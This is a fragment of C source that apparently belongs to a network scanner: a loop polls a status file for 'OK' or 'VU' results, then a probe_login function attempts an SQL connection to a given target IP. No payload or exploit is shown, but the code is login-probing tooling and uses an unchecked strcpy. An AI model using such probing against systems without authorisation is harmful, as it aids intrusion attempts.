						for(i=0;i<=cTimeout;i++)
						{
							if((fp=fopen(STATUS_FILE,"r"))==NULL)
								sleep(1);
							else
							{
								if(fgets(buf,3,fp)==buf)
								{
									if(strncmp(buf, "OK", 2)==0)
									{
										if(!reset_yet)
										{
											reset_yet=1;
											cTimeout=pTimeout;
											fclose(fp);
											unlink(STATUS_FILE);
										}
									}
									else
									if(strncmp(buf, "VU",2)==0)
									{
										fclose(fp);
										goto outOfHere;
									}
									else
										fclose(fp);
								}
								if(!reset_yet)
									break;
							}
							print_it(".");fflush(stdout);
						}
						outOfHere:
						kill(childPID, SIGHUP);
						wait(&status);
					}	
					print_it("\n");
					reset_yet=0;
					close(mySock);
				}
}	

int probe_login(char *ip)
{
	strcpy(target.IP, ip);
	set_target_parameters();
	
	return sql_connect();
}
